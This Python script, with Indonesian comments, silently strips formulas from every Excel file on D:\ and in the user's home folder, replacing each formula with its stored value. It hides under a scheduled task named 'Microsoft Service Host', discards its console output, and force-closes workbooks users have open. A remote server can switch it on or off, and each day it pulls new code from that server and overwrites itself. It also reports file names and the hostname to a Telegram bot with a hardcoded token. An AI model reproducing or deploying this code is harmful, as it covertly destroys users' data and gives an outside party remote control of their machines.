import os
import sys
import time as time_module
import logging
import platform
import traceback
import signal
import threading
import subprocess
import hashlib
import requests
from datetime import datetime, time
from openpyxl import load_workbook, Workbook

# ═════════════════════════════════════════════
#   MAIN CONFIGURATION
# ═════════════════════════════════════════════

MODE = "foreground"

LOG_DIR = os.path.join(os.path.expanduser("~"), "logs")

SCAN_PATHS = [
    "D:\\",
    # "E:\\",
    # "F:\\",
    # "G:\\",
    # "H:\\",
    # "I:\\",
    # "J:\\",
    # "K:\\",
    os.path.expanduser("~"),
]

WATCH_PATHS = SCAN_PATHS

TARGET_EXT   = (".xlsx", ".xls")
STABLE_DELAY = 3

FORCE_CLOSE_START = time(12, 0)
FORCE_CLOSE_END   = time(13, 0)

RETRY_INTERVAL = 60

TASK_NAME           = "Microsoft Service Host"
TASK_CHECK_INTERVAL = 15

# ═════════════════════════════════════════════
#   REMOTE CONTROL & AUTO-UPDATE CONFIGURATION
# ═════════════════════════════════════════════

CONTROL_URL      = "https://script.lukindaripermata.id/control.txt"
SCRIPT_URL       = "https://script.lukindaripermata.id/remove.py"
LOCAL_SCRIPT     = os.path.abspath(__file__)

CONTROL_INTERVAL = 60    # cek ON/OFF setiap N detik
UPDATE_HOUR      = 7     # jam auto-update script
UPDATE_MINUTE    = 0

# ═════════════════════════════════════════════
#   TELEGRAM CONFIGURATION
# ═════════════════════════════════════════════

TELEGRAM_BOT_TOKEN = "8644185914:AAEMsMLsPRzAOojN7-OuZfAHto0u6LBcAZo"
TELEGRAM_CHAT_ID   = "489777293"
TELEGRAM_TIMEOUT   = 10

# ═════════════════════════════════════════════

MAGIC_ZIP = b"PK\x03\x04"
MAGIC_OLE = b"\xd0\xcf\x11\xe0"

_retry_queue      = {}
_retry_queue_lock = threading.Lock()

# ═════════════════════════════════════════════
#   REMOTE CONTROL STATE
# ═════════════════════════════════════════════

is_enabled   = True
_enable_lock = threading.Lock()


def set_enabled(value: bool):
    global is_enabled
    with _enable_lock:
        is_enabled = value


def get_enabled() -> bool:
    with _enable_lock:
        return is_enabled


# ═════════════════════════════════════════════
#   ON/OFF — baca dari server
# ═════════════════════════════════════════════

def fetch_control_status():
    try:
        r = requests.get(CONTROL_URL, timeout=10)
        if r.status_code == 200:
            status = r.text.strip().upper()
            if status == "ON":
                if not get_enabled():
                    logging.info("[CONTROL] Status changed to ON — script resumed.")
                    send_telegram(
                        f"▶️ <b>Script Resumed (ON)</b>\n"
                        f"🕐 {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}"
                    )
                set_enabled(True)
            elif status == "OFF":
                if get_enabled():
                    logging.info("[CONTROL] Status changed to OFF — script paused.")
                    send_telegram(
                        f"⏸️ <b>Script Paused (OFF)</b>\n"
                        f"🕐 {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}"
                    )
                set_enabled(False)
    except Exception:
        pass


def control_loop(stop_event: threading.Event):
    logging.info(f"[CONTROL] Loop active — checking every {CONTROL_INTERVAL}s.")
    while not stop_event.is_set():
        fetch_control_status()
        stop_event.wait(timeout=CONTROL_INTERVAL)


def start_control_loop(stop_event: threading.Event):
    t = threading.Thread(target=control_loop, args=(stop_event,), daemon=True, name="ControlLoop")
    t.start()
    return t


# ═════════════════════════════════════════════
#   AUTO-UPDATE — Opsi 3 (cek hash dulu)
# ═════════════════════════════════════════════

def get_local_hash():
    try:
        with open(LOCAL_SCRIPT, "rb") as f:
            return hashlib.md5(f.read()).hexdigest()
    except Exception:
        return None


def get_remote_hash():
    try:
        r = requests.get(SCRIPT_URL, timeout=30)
        if r.status_code == 200:
            content = r.content
            return hashlib.md5(content).hexdigest(), content
    except Exception:
        pass
    return None, None


def check_and_update():
    logging.info("[UPDATE] Checking for script update...")
    local_hash            = get_local_hash()
    remote_hash, content  = get_remote_hash()

    if remote_hash is None:
        logging.warning("[UPDATE] Could not reach update server.")
        return

    if remote_hash == local_hash:
        logging.info("[UPDATE] Script is already up to date.")
        return

    try:
        with open(LOCAL_SCRIPT, "wb") as f:
            f.write(content)
        logging.info("[UPDATE] Script updated successfully.")
        send_telegram(
            f"🔄 <b>Script Updated</b>\n"
            f"New version downloaded and applied.\n"
            f"🕐 {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}"
        )
    except Exception as e:
        logging.error(f"[UPDATE] Failed to write updated script: {e}")


def update_loop(stop_event: threading.Event):
    last_run_date = None
    logging.info(f"[UPDATE] Loop active — will update daily at {UPDATE_HOUR:02d}:{UPDATE_MINUTE:02d}.")
    while not stop_event.is_set():
        now = datetime.now()
        if (now.hour   == UPDATE_HOUR   and
            now.minute == UPDATE_MINUTE and
            now.date() != last_run_date):
            last_run_date = now.date()
            check_and_update()
        stop_event.wait(timeout=30)


def start_update_loop(stop_event: threading.Event):
    t = threading.Thread(target=update_loop, args=(stop_event,), daemon=True, name="UpdateLoop")
    t.start()
    return t


# ═════════════════════════════════════════════
#   RETRY QUEUE
# ═════════════════════════════════════════════

def add_to_retry_queue(filepath: str, already_tmp: bool):
    with _retry_queue_lock:
        if filepath not in _retry_queue:
            _retry_queue[filepath] = already_tmp
            logging.info(f"  [RETRY-Q] Added to retry queue: {os.path.basename(filepath)}")


def remove_from_retry_queue(filepath: str):
    with _retry_queue_lock:
        _retry_queue.pop(filepath, None)


def process_retry_queue(xl_app=None):
    if not within_force_close_window():
        return

    with _retry_queue_lock:
        items = list(_retry_queue.items())

    if not items:
        return

    logging.info(f"[RETRY-Q] Force-close window active — processing {len(items)} file(s) from queue...")
    for fpath, already_tmp in items:
        if not os.path.exists(fpath):
            logging.warning(f"  [RETRY-Q] File no longer exists, removing from queue: {fpath}")
            remove_from_retry_queue(fpath)
            continue
        logging.info(f"  [RETRY-Q] Retrying: {fpath}")
        result = process_file(fpath, already_tmp=already_tmp, xl_app=xl_app, from_watcher=False)
        if result != "skip":
            remove_from_retry_queue(fpath)


# ═════════════════════════════════════════════
#   TELEGRAM SENDER
# ═════════════════════════════════════════════

def send_telegram(message: str):
    if not TELEGRAM_BOT_TOKEN or TELEGRAM_BOT_TOKEN == "FILL_YOUR_BOT_TOKEN_HERE":
        return
    if not TELEGRAM_CHAT_ID or TELEGRAM_CHAT_ID == "FILL_YOUR_CHAT_ID_HERE":
        return

    def _send():
        url     = f"https://api.telegram.org/bot{TELEGRAM_BOT_TOKEN}/sendMessage"
        payload = {
            "chat_id"   : TELEGRAM_CHAT_ID,
            "text"      : message,
            "parse_mode": "HTML",
        }
        try:
            resp = requests.post(url, json=payload, timeout=TELEGRAM_TIMEOUT)
            if not resp.ok:
                logging.warning(f"  [TELEGRAM] Failed to send: {resp.status_code} {resp.text[:200]}")
        except Exception as e:
            logging.warning(f"  [TELEGRAM] Exception: {e}")

    threading.Thread(target=_send, daemon=True).start()


def notify_ok(filepath: str, label: str):
    name      = os.path.basename(filepath)
    timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
    send_telegram(
        f"✅ <b>SUCCESS</b>\n"
        f"📄 <b>File :</b> <code>{name}</code>\n"
        f"📝 <b>Info :</b> {label}\n"
        f"🕐 <b>Time :</b> {timestamp}"
    )


def notify_skip(filepath: str, reason: str):
    name      = os.path.basename(filepath)
    timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
    send_telegram(
        f"⏭️ <b>SKIPPED</b>\n"
        f"📄 <b>File   :</b> <code>{name}</code>\n"
        f"💬 <b>Reason :</b> {reason}\n"
        f"🕐 <b>Time   :</b> {timestamp}"
    )


def notify_retry_queue(filepath: str):
    name      = os.path.basename(filepath)
    timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
    send_telegram(
        f"🔁 <b>ADDED TO RETRY QUEUE</b>\n"
        f"📄 <b>File   :</b> <code>{name}</code>\n"
        f"💬 <b>Reason :</b> File is open in Excel — will retry during "
        f"{FORCE_CLOSE_START.strftime('%H:%M')}–{FORCE_CLOSE_END.strftime('%H:%M')}\n"
        f"🕐 <b>Time   :</b> {timestamp}"
    )


def notify_failed(filepath: str, reason: str):
    name      = os.path.basename(filepath)
    timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
    send_telegram(
        f"❌ <b>FAILED</b>\n"
        f"📄 <b>File :</b> <code>{name}</code>\n"
        f"⚠️ <b>Info :</b> {reason}\n"
        f"🕐 <b>Time :</b> {timestamp}"
    )


def notify_summary(success: int, failed: int, skipped: int, total: int, pending_retry: int = 0):
    timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
    extra     = f"\n🔁 Retry queue : {pending_retry}" if pending_retry > 0 else ""
    send_telegram(
        f"📊 <b>SCAN COMPLETE</b>\n"
        f"✅ Success : {success}\n"
        f"❌ Failed  : {failed}\n"
        f"⏭️ Skipped : {skipped}\n"
        f"📁 Total   : {total}"
        f"{extra}\n"
        f"🕐 Time    : {timestamp}"
    )


# ═════════════════════════════════════════════
#   LOGGING
# ═════════════════════════════════════════════

def setup_logging():
    os.makedirs(LOG_DIR, exist_ok=True)
    timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
    log_file  = os.path.join(LOG_DIR, f"{timestamp}.log")

    sys.stdout = open(os.devnull, "w", encoding="utf-8")
    sys.stderr = open(os.devnull, "w", encoding="utf-8")

    root_logger = logging.getLogger()
    root_logger.setLevel(logging.INFO)

    for h in root_logger.handlers[:]:
        root_logger.removeHandler(h)

    file_handler = logging.FileHandler(log_file, encoding="utf-8")
    file_handler.setLevel(logging.INFO)
    file_handler.setFormatter(logging.Formatter(
        fmt="%(asctime)s [%(levelname)s] %(message)s",
        datefmt="%Y-%m-%d %H:%M:%S",
    ))
    root_logger.addHandler(file_handler)

    for lib in ("watchdog", "urllib3", "requests", "charset_normalizer"):
        logging.getLogger(lib).setLevel(logging.WARNING)

    return log_file


# ═════════════════════════════════════════════
#   HELPERS
# ═════════════════════════════════════════════

def within_force_close_window():
    now = datetime.now().time()
    return FORCE_CLOSE_START <= now < FORCE_CLOSE_END


def detect_real_format(filepath):
    try:
        with open(filepath, "rb") as f:
            header = f.read(4)
        if header[:4] == MAGIC_ZIP:
            return "xlsx"
        elif header[:4] == MAGIC_OLE:
            return "xls"
        return "unknown"
    except Exception:
        return "unknown"


def is_tmp_file(filepath):
    name_no_ext = os.path.splitext(os.path.basename(filepath))[0]
    return name_no_ext.endswith("_tmp") or name_no_ext.endswith("_tmp_conv")


def wait_until_stable(filepath, delay=STABLE_DELAY):
    prev_size    = -1
    stable_since = None
    while True:
        if not os.path.exists(filepath):
            return False
        try:
            curr_size = os.path.getsize(filepath)
        except OSError:
            return False
        if curr_size == prev_size:
            if stable_since is None:
                stable_since = time_module.time()
            elif time_module.time() - stable_since >= delay:
                return True
        else:
            stable_since = None
            prev_size    = curr_size
        time_module.sleep(1)


# ═════════════════════════════════════════════
#   COM / EXCEL-OPEN DETECTION
# ═════════════════════════════════════════════

def get_excel_com_instance():
    try:
        import win32com.client
        return win32com.client.GetActiveObject("Excel.Application")
    except Exception:
        return None


def find_workbook_in_excel(xl_app, filepath):
    if xl_app is None:
        return None
    try:
        target = os.path.normcase(os.path.abspath(filepath))
        for wb in xl_app.Workbooks:
            try:
                if os.path.normcase(os.path.abspath(wb.FullName)) == target:
                    return wb
            except Exception:
                continue
    except Exception:
        pass
    return None


def save_and_close_workbook(xl_wb, xl_app):
    try:
        xl_wb.Save()
        xl_wb.Close(SaveChanges=False)
        logging.info("  [COM] Workbook saved and closed successfully.")
    except Exception as e:
        logging.error(f"  [COM] Failed to save/close workbook: {e}")
        return False
    try:
        remaining = xl_app.Workbooks.Count
        if remaining == 0:
            xl_app.Quit()
        else:
            all_empty = True
            for wb in xl_app.Workbooks:
                try:
                    if bool(wb.Path) or not wb.Saved:
                        all_empty = False
                        break
                except Exception:
                    all_empty = False
                    break
            if all_empty:
                xl_app.Quit()
    except Exception as e:
        logging.warning(f"  [COM] Could not check remaining workbooks: {e}")
    return True


# ═════════════════════════════════════════════
#   TASK SCHEDULER SENTINEL
# ═════════════════════════════════════════════

def is_task_still_registered(task_name: str) -> bool:
    try:
        result = subprocess.run(
            ["schtasks", "/query", "/tn", task_name],
            capture_output=True,
            text=True,
            timeout=10,
            creationflags=subprocess.CREATE_NO_WINDOW,  # ← FIX: tidak muncul window cmd
        )
        return result.returncode == 0
    except Exception as e:
        logging.warning(f"  [SENTINEL] Failed to query task scheduler: {e}")
        return True


def start_task_sentinel(task_name: str, check_interval: int, stop_event: threading.Event):
    def _sentinel():
        logging.info(f"  [SENTINEL] Active — monitoring task '{task_name}' every {check_interval}s.")
        stop_event.wait(timeout=30)
        while not stop_event.is_set():
            if not is_task_still_registered(task_name):
                logging.info(
                    f"  [SENTINEL] Task '{task_name}' not found in Task Scheduler "
                    f"— initiating graceful shutdown..."
                )
                send_telegram(
                    f"🛑 <b>Task Deleted — Script Stopping</b>\n"
                    f"Task <code>{task_name}</code> is no longer registered.\n"
                    f"Script is performing a graceful shutdown.\n"
                    f"🕐 {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}"
                )
                stop_event.set()
                return
            stop_event.wait(timeout=check_interval)

    t = threading.Thread(target=_sentinel, daemon=True, name="TaskSentinel")
    t.start()
    return t


# ═════════════════════════════════════════════
#   SCAN
# ═════════════════════════════════════════════

def scan_files():
    normal_files = []
    tmp_files    = []

    logging.info("=" * 60)
    logging.info("Paths to scan (one-time):")
    for p in SCAN_PATHS:
        status = "OK" if os.path.exists(p) else "NOT FOUND — skipped"
        logging.info(f"  {p}  [{status}]")
    logging.info("=" * 60)

    for scan_root in SCAN_PATHS:
        if not os.path.exists(scan_root):
            continue
        for root, dirs, files in os.walk(scan_root, topdown=True):
            for fname in files:
                if not fname.lower().endswith(TARGET_EXT):
                    continue
                full_path   = os.path.join(root, fname)
                name_no_ext = os.path.splitext(fname)[0]
                if name_no_ext.endswith("_tmp") or name_no_ext.endswith("_tmp_conv"):
                    tmp_files.append(full_path)
                else:
                    normal_files.append(full_path)

    logging.info(f"Normal files found  : {len(normal_files)}")
    logging.info(f"Leftover _tmp files : {len(tmp_files)}")
    logging.info(f"Total               : {len(normal_files) + len(tmp_files)}\n")
    return normal_files, tmp_files


# ═════════════════════════════════════════════
#   FORMULA REMOVAL
# ═════════════════════════════════════════════

def remove_formulas_xlsx(input_path, output_path):
    wb_values = load_workbook(input_path, data_only=True)
    wb_format = load_workbook(input_path)
    total = 0
    for sheet_name in wb_format.sheetnames:
        ws_val = wb_values[sheet_name]
        ws_fmt = wb_format[sheet_name]
        for row in ws_fmt.iter_rows():
            for cell in row:
                if isinstance(cell.value, str) and cell.value.startswith("="):
                    total += 1
                    cell.value = ws_val[cell.coordinate].value
    wb_format.save(output_path)
    return total


def xls_to_xlsx(xls_path, xlsx_path):
    import xlrd
    wb_xls  = xlrd.open_workbook(xls_path, formatting_info=True)
    wb_new  = Workbook()
    wb_new.remove(wb_new.active)
    xf_list = wb_xls.xf_list
    fmt_map = wb_xls.format_map

    for sheet_idx in range(wb_xls.nsheets):
        ws_xls = wb_xls.sheet_by_index(sheet_idx)
        ws_new = wb_new.create_sheet(title=ws_xls.name)
        for row in range(ws_xls.nrows):
            for col in range(ws_xls.ncols):
                cell      = ws_xls.cell(row, col)
                xlsx_cell = ws_new.cell(row + 1, col + 1)
                ctype     = cell.ctype
                if ctype == xlrd.XL_CELL_TEXT:
                    xlsx_cell.value = cell.value
                elif ctype == xlrd.XL_CELL_NUMBER:
                    xlsx_cell.value = cell.value
                elif ctype == xlrd.XL_CELL_DATE:
                    from xlrd import xldate_as_datetime
                    try:
                        xlsx_cell.value = xldate_as_datetime(cell.value, wb_xls.datemode)
                    except Exception:
                        xlsx_cell.value = cell.value
                elif ctype == xlrd.XL_CELL_BOOLEAN:
                    xlsx_cell.value = bool(cell.value)
                elif ctype == xlrd.XL_CELL_ERROR:
                    xlsx_cell.value = None
                else:
                    xlsx_cell.value = cell.value
                try:
                    xf_idx  = ws_xls.cell_xf_index(row, col)
                    xf      = xf_list[xf_idx]
                    fmt_idx = xf.format_key
                    if fmt_idx in fmt_map:
                        fmt_str = fmt_map[fmt_idx].format_str
                        if fmt_str and fmt_str != "General":
                            xlsx_cell.number_format = fmt_str
                except Exception:
                    pass
        for col_idx in range(ws_xls.ncols):
            col_info = ws_xls.colinfo_map.get(col_idx)
            if col_info and col_info.width > 0:
                col_letter = ws_new.cell(1, col_idx + 1).column_letter
                ws_new.column_dimensions[col_letter].width = col_info.width / 256

    wb_new.save(xlsx_path)


# ═════════════════════════════════════════════
#   CORE PER-FILE PROCESSOR
# ═════════════════════════════════════════════

def process_file(original_path, already_tmp=False, xl_app=None, from_watcher=False):

    # ── CEK ON/OFF sebelum proses ─────────────────────────────
    if not get_enabled():
        logging.info(f"  [SKIP] Script is OFF — skipping: {os.path.basename(original_path)}")
        return "skip"

    if already_tmp:
        tmp_path      = original_path
        base_tmp, ext = os.path.splitext(original_path)
        base_orig     = base_tmp[:-4] if base_tmp.endswith("_tmp") else base_tmp
        logging.info("  [_TMP] Filename already has _tmp — processing directly.")
    else:
        base_orig, ext = os.path.splitext(original_path)
        tmp_path       = f"{base_orig}_tmp{ext}"

    tmp_xlsx_conv = f"{base_orig}_tmp_conv.xlsx"
    check_path    = original_path if not already_tmp else tmp_path

    if from_watcher:
        logging.info(f"  [WATCH] Waiting {STABLE_DELAY}s for file to stabilize...")
        if not wait_until_stable(check_path, STABLE_DELAY):
            msg = "File disappeared before it could be processed"
            logging.warning(f"  [SKIP] {msg}: {check_path}")
            notify_skip(check_path, msg)
            return "skip"
        logging.info("  [WATCH] File stable — starting process.")

    active_xl = xl_app if xl_app is not None else get_excel_com_instance()
    xl_wb     = find_workbook_in_excel(active_xl, check_path)

    if xl_wb is not None:
        if within_force_close_window():
            logging.info(
                f"  [OPEN] File is open in Excel — {datetime.now().strftime('%H:%M')} "
                f"— performing forced save + close."
            )
            if not save_and_close_workbook(xl_wb, active_xl):
                msg = "Failed to close file that is open in Excel"
                logging.error(f"  [SKIP] {msg}.")
                notify_failed(original_path, msg)
                return "fail"
        else:
            msg = (
                f"File is open in Excel — outside force-close window "
                f"({FORCE_CLOSE_START.strftime('%H:%M')}–{FORCE_CLOSE_END.strftime('%H:%M')})"
            )
            logging.warning(f"  [SKIP-WINDOW] {msg}. Adding to retry queue.")
            add_to_retry_queue(original_path, already_tmp)
            notify_retry_queue(original_path)
            return "skip"

    real_fmt = detect_real_format(check_path)
    if real_fmt == "unknown":
        msg = "Unrecognized file format (not xlsx/xls)"
        logging.warning(f"  [SKIP] {msg}: {check_path}")
        notify_skip(check_path, msg)
        return "skip"

    if not already_tmp:
        try:
            os.rename(original_path, tmp_path)
            logging.info(f"  [RENAME] {os.path.basename(original_path)} → {os.path.basename(tmp_path)}")
        except Exception as e:
            msg = f"Failed to rename file: {e}"
            logging.error(f"  FAILED to rename '{original_path}': {e}")
            notify_failed(original_path, msg)
            return "fail"

    try:
        if real_fmt == "xls":
            xls_to_xlsx(tmp_path, tmp_xlsx_conv)
            output_path = f"{base_orig}.xlsx"
            count       = remove_formulas_xlsx(tmp_xlsx_conv, output_path)
            os.remove(tmp_xlsx_conv)
            label = f"Converted xls→xlsx, {count} formula(s) removed"
        else:
            output_path = f"{base_orig}{ext}"
            count       = remove_formulas_xlsx(tmp_path, output_path)
            label       = f"{count} formula(s) removed"

        os.remove(tmp_path)
        logging.info(f"  [OK] {output_path} — {label}")
        notify_ok(output_path, label)
        return "ok"

    except Exception as e:
        msg = str(e)
        logging.error(f"  [FAILED] {original_path}: {e}")
        logging.error(traceback.format_exc())
        notify_failed(original_path, f"Error during processing: {msg[:200]}")

        for cleanup in [f"{base_orig}{ext}", f"{base_orig}.xlsx", tmp_xlsx_conv]:
            if os.path.exists(cleanup) and cleanup != tmp_path:
                try:
                    os.remove(cleanup)
                except Exception:
                    pass

        if not already_tmp and os.path.exists(tmp_path):
            os.rename(tmp_path, original_path)
            logging.warning(f"  [ROLLBACK] File restored: {original_path}")
        elif already_tmp:
            logging.warning(f"  [NOTICE] _tmp file left as-is: {tmp_path}")

        return "fail"


# ═════════════════════════════════════════════
#   FILE WATCHER
# ═════════════════════════════════════════════

class ExcelFileHandler:
    def __init__(self):
        self._processing        = set()
        self._lock              = threading.Lock()
        self._last_event_time   = {}
        self._MODIFIED_COOLDOWN = 5

    def dispatch(self, event):
        if event.event_type in ("created", "moved", "modified"):
            path = getattr(event, "dest_path", None) or event.src_path
            self._handle(path, event.event_type)

    def _handle(self, filepath, event_type="created"):
        if os.path.isdir(filepath):
            return
        if not filepath.lower().endswith(TARGET_EXT):
            return
        if is_tmp_file(filepath):
            return

        # ── CEK ON/OFF sebelum proses watcher ────────────────
        if not get_enabled():
            logging.info(f"  [WATCHER-SKIP] Script is OFF — ignoring: {os.path.basename(filepath)}")
            return

        with self._lock:
            if filepath in self._processing:
                return
            if event_type == "modified":
                now  = time_module.time()
                last = self._last_event_time.get(filepath, 0)
                if now - last < self._MODIFIED_COOLDOWN:
                    return
                self._last_event_time[filepath] = now
            self._processing.add(filepath)

        def run():
            try:
                logging.info(f"[WATCHER] File detected ({event_type}): {filepath}")
                process_file(filepath, already_tmp=False, xl_app=None, from_watcher=True)
            finally:
                with self._lock:
                    self._processing.discard(filepath)
                    self._last_event_time.pop(filepath, None)

        threading.Thread(target=run, daemon=True).start()


def start_watcher():
    try:
        from watchdog.observers import Observer
        from watchdog.events    import FileSystemEventHandler

        class _WatchdogAdapter(FileSystemEventHandler):
            def __init__(self, handler):
                super().__init__()
                self._h = handler
            def on_created(self, event):
                self._h.dispatch(event)
            def on_moved(self, event):
                self._h.dispatch(event)
            def on_modified(self, event):
                self._h.dispatch(event)

        handler  = ExcelFileHandler()
        adapter  = _WatchdogAdapter(handler)
        observer = Observer()

        watched = []
        for wpath in WATCH_PATHS:
            if os.path.exists(wpath):
                observer.schedule(adapter, wpath, recursive=True)
                watched.append(wpath)
                logging.info(f"  [WATCH] Monitoring: {wpath}")
            else:
                logging.warning(f"  [WATCH] Path not found, skipping: {wpath}")

        if not watched:
            logging.warning("  [WATCH] No valid folders to monitor.")
            return None

        observer.start()
        logging.info(f"  [WATCH] Watcher active — {len(watched)} folder(s) monitored.")
        return observer

    except ImportError:
        logging.error("  [WATCH] Library 'watchdog' not found. Run: pip install watchdog")
        return None


# ═════════════════════════════════════════════
#   RETRY WORKER
# ═════════════════════════════════════════════

def start_retry_worker(stop_event: threading.Event):
    def _worker():
        logging.info(f"  [RETRY-Q] Worker active — interval {RETRY_INTERVAL}s.")
        while not stop_event.is_set():
            stop_event.wait(timeout=RETRY_INTERVAL)
            if stop_event.is_set():
                break
            try:
                process_retry_queue(xl_app=get_excel_com_instance())
            except Exception as e:
                logging.error(f"  [RETRY-Q] Error while processing queue: {e}")

    t = threading.Thread(target=_worker, daemon=True, name="RetryWorker")
    t.start()
    return t


# ═════════════════════════════════════════════
#   MAIN
# ═════════════════════════════════════════════

def main():
    log_file = setup_logging()
    logging.info(f"Mode               : {MODE.upper()}")
    logging.info(f"Log file           : {log_file}")
    logging.info(f"OS                 : {platform.system()} {platform.release()}")
    logging.info(f"Task name          : {TASK_NAME}")
    logging.info(f"Force-close window : {FORCE_CLOSE_START.strftime('%H:%M')}–{FORCE_CLOSE_END.strftime('%H:%M')}")
    logging.info(f"Stable delay       : {STABLE_DELAY}s")
    logging.info(f"Retry interval     : {RETRY_INTERVAL}s")
    logging.info(f"Control URL        : {CONTROL_URL}")
    logging.info(f"Script URL         : {SCRIPT_URL}")
    logging.info(f"Update schedule    : daily at {UPDATE_HOUR:02d}:{UPDATE_MINUTE:02d}")

    if within_force_close_window():
        logging.info("Window status      : ACTIVE")
    else:
        logging.info("Window status      : INACTIVE")
    logging.info("")

    # ── CEK ON/OFF PERTAMA KALI ───────────────────────────────
    fetch_control_status()
    logging.info(f"Script status      : {'ON' if get_enabled() else 'OFF'}\n")

    send_telegram(
        f"🚀 <b>Remove Formula Script Started</b>\n"
        f"⚙️ Status : {'▶️ ON' if get_enabled() else '⏸️ OFF'}\n"
        f"🕐 {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n"
        f"💻 {platform.node()}"
    )

    xl_app = get_excel_com_instance()
    logging.info(f"Excel COM : {'detected' if xl_app else 'not running'}\n")

    # ── STOP EVENT ────────────────────────────────────────────
    _stop_event = threading.Event()

    # ── START CONTROL LOOP ────────────────────────────────────
    start_control_loop(_stop_event)

    # ── START UPDATE LOOP ─────────────────────────────────────
    start_update_loop(_stop_event)

    # ── INITIAL SCAN ──────────────────────────────────────────
    if SCAN_PATHS:
        if not get_enabled():
            logging.info("[SCAN] Script is OFF — initial scan skipped.")
            send_telegram(
                f"⏸️ <b>Initial Scan Skipped</b>\n"
                f"Script status is OFF.\n"
                f"🕐 {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}"
            )
        else:
            normal_files, tmp_files = scan_files()
            total   = len(normal_files) + len(tmp_files)
            success = failed = skipped = counter = 0

            if total > 0:
                logging.info("-" * 60)
                for fpath in tmp_files:
                    counter += 1
                    logging.info(f"[SCAN {counter}/{total}] {fpath}")
                    result = process_file(fpath, already_tmp=True, xl_app=xl_app)
                    if result == "ok":
                        success += 1
                    elif result == "skip":
                        skipped += 1
                    else:
                        failed += 1

                for fpath in normal_files:
                    counter += 1
                    logging.info(f"[SCAN {counter}/{total}] {fpath}")
                    result = process_file(fpath, already_tmp=False, xl_app=xl_app)
                    if result == "ok":
                        success += 1
                    elif result == "skip":
                        skipped += 1
                    else:
                        failed += 1

                logging.info("-" * 60)
                logging.info(f"SCAN COMPLETE — OK: {success} | SKIP: {skipped} | FAIL: {failed} | TOTAL: {total}")
                logging.info("=" * 60)

                with _retry_queue_lock:
                    pending = len(_retry_queue)
                notify_summary(success, failed, skipped, total, pending_retry=pending)
            else:
                logging.info("Initial scan: no Excel files found.")
                send_telegram(
                    f"📂 <b>Initial Scan Complete</b>\n"
                    f"No Excel files found in the scan paths.\n"
                    f"🕐 {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}"
                )
    else:
        logging.info("SCAN_PATHS is empty — initial scan skipped.")

    logging.info("")

    # ── WATCHER ───────────────────────────────────────────────
    logging.info("Starting real-time file watcher...")
    observer = start_watcher()

    if observer is None:
        logging.info("Watcher inactive. Script finished.")
        send_telegram("⚠️ <b>Watcher Inactive</b> — library 'watchdog' not found.")
        return

    logging.info("Watcher running. Monitoring folders in real-time...\n")
    send_telegram(
        f"👁️ <b>Watcher Active</b>\n"
        f"Monitoring {len(WATCH_PATHS)} folder(s) in real-time.\n"
        f"🕐 {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}"
    )

    # ── SIGNAL HANDLER ────────────────────────────────────────
    def _shutdown(signum, frame):
        sig_name = "SIGTERM" if signum == signal.SIGTERM else "SIGBREAK"
        logging.info(f"[SHUTDOWN] Signal {sig_name} received — stopping script...")
        _stop_event.set()

    signal.signal(signal.SIGTERM, _shutdown)
    try:
        signal.signal(signal.SIGBREAK, _shutdown)
    except (AttributeError, OSError):
        pass

    # ── RETRY WORKER ──────────────────────────────────────────
    start_retry_worker(_stop_event)
    logging.info(f"  [RETRY-Q] Worker active — checks queue every {RETRY_INTERVAL}s during force-close window.\n")

    # ── TASK SENTINEL ─────────────────────────────────────────
    start_task_sentinel(TASK_NAME, TASK_CHECK_INTERVAL, _stop_event)

    # ── MAIN LOOP ─────────────────────────────────────────────
    try:
        while not _stop_event.is_set():
            _stop_event.wait(timeout=1)
    except KeyboardInterrupt:
        logging.info("Script stopped by user (KeyboardInterrupt).")
    finally:
        logging.info("[SHUTDOWN] Stopping watcher...")
        observer.stop()
        observer.join()
        send_telegram(
            f"🛑 <b>Remove Formula Script Stopped</b>\n"
            f"🕐 {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}"
        )
        time_module.sleep(2)
        logging.info("Watcher stopped. Done.")


# ═════════════════════════════════════════════
#   ENTRY POINT
# ═════════════════════════════════════════════

if __name__ == "__main__":
    main()